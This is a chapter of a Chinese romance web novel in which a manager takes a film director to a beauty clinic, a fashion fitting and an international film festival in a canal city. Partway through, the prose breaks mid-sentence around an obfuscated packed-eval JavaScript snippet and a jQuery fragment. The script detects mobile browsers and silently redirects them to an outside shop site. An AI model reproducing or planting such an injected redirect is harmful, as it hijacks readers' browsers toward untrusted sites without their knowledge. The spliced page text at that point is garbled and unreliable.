第二天一早,舒誉宁是被闹钟叫醒的。
已经八点了啊……
傅明宇这人,昨晚闹个没完。舒誉宁也没办法,谁让自己答应他了呢?折腾太过,造成的直接后果便是,早上起不来。
舒誉宁想赖床,但想到一会儿给他约了皮肤管理,还是打消了这个念头。不堵车的话,也要半个小时才到。不想迟到,现在必须起床。
她推了一下旁边的傅明宇。他翻了身,不理她。然后,她又喊了他两声。傅明宇还是不回答。
这货是在装睡吧?
“我数到三!”
“起来了!”
这人就这毛病。好好说话,不听。非要威胁几句,才能老实。
火速地换好衣服,舒誉宁带着傅明宇去了美容院。美容师根据傅明宇的皮肤情况,制定了一系列的保养计划,还规定了什么能吃什么不能吃。
“现在我们先做第一个项目,躺下吧。”美容师拍了拍旁边的躺椅。
傅明宇不知道要干什么,乖乖地躺下。直到,他看到美容师在一旁准备给他调配药剂。拿了一支两根手指这么粗的针,向他走过来。
“干嘛?”吓得傅明宇当场从躺椅上跳了起来。
舒誉宁一声怒吼:“坐下!”
“这么粗的针,我不打我不打!”
傅明宇誓死不从。
美容师见惯了这样的场面,给他解释道:“你别紧张。水光而已,不疼的。”
“医生不都这么说?”
傅明宇想不通,怎么会有好好的人,为了让自己变得更好看,去承受这么大的痛苦?这个针已经看起来很恐怖了。那些做大手术的人,是怎么说服自己的?
舒誉宁嫌他丢人:“快点,躺下。这么大个人了,还怕打针?”
“打针我不怕,但是你看看这个针有多粗。”
最后实在是没时间了。美容师三催四请,傅明宇才终于躺下来,同意打针。
结束后,舒誉宁拿着美容师送的冰袋,给傅明宇敷脸。
“你看,没你想象得这么疼吧?”
“我跟你说实话。我以前是挺看不起整容的人,现在我非常尊敬他们。”
刚打完针,傅明宇看了一眼镜子,差点被自己恶心吐。满脸都是针眼,又红又肿,还带着血。现在消肿了,看上去,好像皮肤确实有了些光泽。
舒誉宁理解他的想法。有些导演是很排斥演员整容。主要是排斥整容后带来的副作用。演员在镜头前,需要调动自己的五官,去传达角色在这个场景中的情绪。而整容后,难免会僵硬不自然。
不过,话又说回来了。肯为事业和粉丝躺手术台的艺人,称得上敬业。
“一会儿还要去试衣服。这次赞助的还有手表。理查德米勒啊,戴起来可给我小心点。”
三百多万啊!傅明宇都不觉得自己值这些钱,可他却要把这一堆天文数字戴在手上随便晃。
“能不戴么?”
“不行!你这个人怎么总爱讨价还价?”
“那我再还个价。这次的衣服,会像首都电影节的宴会那样浮夸吗?”
傅明宇还在对那件骚包的衬衫耿耿于怀。虽然那套look很出圈,“傅明宇晚宴穿搭”这个词条还上了热搜。网友们纷纷评论:“好看,爱看,多穿。”
“不会。这次我们走常规风格,西装。”这次是国际电影节,舒誉宁想严肃一点。而且,每次穿这么高调,观众不仅会腻,还会淡化他的导演身份。
舒誉宁觉得,可以偶尔在衣服上花点小巧思,给观众来点惊喜。更多的时候,她希望大众时时刻刻记得,傅明宇是一个专业的天赋型导演。
除了西装外,舒誉宁还有个构思。就是让傅明宇回他的学校,拍一个过去和现在做对比的街拍。
“你以前读书,都穿什么啊?”
“T恤、运动裤、帆布鞋。”
很典型的学生穿搭。
傅明宇给她看了自己留学的照片。怎么说呢,土得没眼看,就是一个普通的留子。以前的衣服是找不回来了,不过这种衣服,网上到处都是。舒誉宁买了一套跟照片里一模一样的,还买了学士服,打算给他多拍几组。
这次穿搭的选择,虽说是走常规路线,但舒誉宁还是一如既往地排斥黑色西装套装。她选了几套,以驼色、浅灰、咖色为主。除了颜色,她这次极为看中面料。傅明宇想不明白,款式和颜色相同,在面料上,能有多大的差别?
“当然有。老钱风穿搭,面料才是最重要的!”
“我其实很讨厌这个词,阶级意味太重了。”
傅明宇在留学期间,身边有不少富家子弟和千金。他们通常以oldmoney自居,极其高傲。他们就连衣服都要和普通人划清界限!生在春风里、长在红旗下的傅明宇,从小受的是“人人平等”的教育,自然看不惯他们这种行为。
“我明白你的意思。所以要让他们知道,他们所谓的专属穿搭,人人都穿得起。快去试试。”
一切准备就绪,一行人出发去了水城。
经过十多个小时的飞行,他们终于达到了水城。一落地,很多记者便围了上来。强烈的闪光灯,晃得他们睁不开眼睛。
他们都是国内的媒体,早早地便在机场等候《浪潮》剧组的到来。
“傅导傅导,您在多年前获得了水城国际电影节的短片奖和新人奖。对这次的最佳导演奖,您有没有信心?”
“傅导,这是华语影坛在十年后,再次有电影人提名水城国际电影节。你认为这对于华语影坛的未来会有什么影响?”
“千杉,你这次提名了最佳女主奖。处女作便入围了这么重要的一个奖项,你现在有什么想法吗?”
不怪他们如此激动,华语影坛已经很久没有人提名国际大奖了。这次他们提名的是“最佳外语片”“最佳影片奖”“最佳导演奖”和“最佳女主角奖”。
提名的奖项超过了本土的一些大热门影片。光是这点,就是足够惊动内娱的大喜事了。
“大家稍安勿躁。先保持秩序,这里毕竟是机场,要注意公共场合秩序安全的问题。”
舒誉宁先站了出来,领他们去了远离人群的地方。如果是平常,她早带着傅明宇和千杉走了,但今天不一样。他们代表的是华语电影,必须有华语电影人的风度。
“大家一个个来,慢慢问。今天傅导和千杉女士,一定会让大家采访到足够的素材。前提是,问的内容必须和电影、电影节有关。”
这场临时的记者会,进行了三个小时。等采访完,已经很晚了。一会儿还要去酒店放好行李,看来在水城第一个晚上,只能吃点面包凑合凑合了。
“怕什么,有我这个向导,还能让你们饿肚子吗?”
水城,城如其名。链接城市的是大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068644|146666||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大小小的水道。整座城市沉在水里,浪漫惬意。酒店外面就有贡多拉,傅明宇跟船夫谈好价格和地点,便扶着舒誉宁和千杉上了船。
“这地方偶尔来玩一玩还好,长期在这里住,很崩溃。”
水城的雨季很漫长,衣服是永远晒不干的,屋子,永远是发霉的。下大雨,连去学校,都是个大难题。出门前,书包里塞的法棍,到了学校,已经变成面糊了。
“公寓楼下的烘干机也不敢用,我亲眼见过有人把鞋子和发霉的地毯扔里面。”
“那你洗的衣服怎么办?”
“吹风机吹啊。后来,搬了个大点的公寓,才有了自己私人的烘干机。”
不知道在水道里绕了多少个弯,他们才到目的地。
这是一条小的商业街,周围的店铺早已打烊,只有一家小餐厅还开着。
“这地方不比国内。没外卖,没夜宵。有时候在学校里做课题晚了,我就来这里吃。”
傅明宇进门,对老板比了个OK的手势。老板点点头,便到后厨忙活了。他们找了个角落的位置坐下,等着开饭。
舒誉宁问他:“不点菜吗?”
“不用点菜,这家店只有披萨。按人数上。”
原来傅明宇比的不是“OK”手势,而是数字3。
手工披萨的制作是需要时间的。等了好一会儿,披萨才上来。
舒誉宁和千杉尝了一口,面面相觑。
傅明宇上学的时候,就吃这个?
“确实不好吃。意式披萨,越正宗越难吃。就跟他们的性格一样,平淡、无聊。”
傅明宇的厨艺,也在这种饮食环境中,逐渐锻炼了出来。
他友情提醒道:“不过还是要表现出很好吃的样子。不然主厨会生气的!”意国人最不能接受的是,有人不喜欢他们的披萨。
第二天,他们去了傅明宇的母校。校园的风格和欧洲大部分大学一样。在保留了中世纪传统的古堡风格的前提下,又加以现代化的简约设计。门口有一块很大的草坪,肥嘟嘟的鸽子三三两两落在上面。它们见到人也不躲,也可能是吃太胖了,飞不起来。
傅明宇穿着学士服,有些不好意思:“我穿这个,太装嫩了吧。”
距离他毕业,已经过去快十年了。自己现在,人到中年,眼神也不似20岁那时清澈。当时穿这身衣服有多兴奋,现在就有多不好意思。
“那你赶紧拍完,赶紧换下来呗。”
“行。”
准备就绪,傅明宇拿着和当年的一样的花束、毕业证书,站在了草坪前。
“一,二……”
“傅明宇!”
不知道谁喊了一声,傅明宇下意识往那边看去,却没看到人。
可是摄影师已经按下了快门,原本完美的正脸角度,变成了侧脸废片。
“重拍吧。”
“不用。”
傅明宇打开手机,翻出来毕业照。其中一张也是这样,傅明宇转头往旁边看。其实这张也是废片,不知道为什么傅明宇却把这张留下了。
舒誉宁尝试着把这两张照片拼在一起,惊奇地发现。两个傅明宇,眼神交汇在了一起。
“你当时为什么转头?”
“好像也是有人叫我。转过去,没看到人。现在我大概知道了,是谁在喊我。”
他转过头,看到的是另一个时空的自己。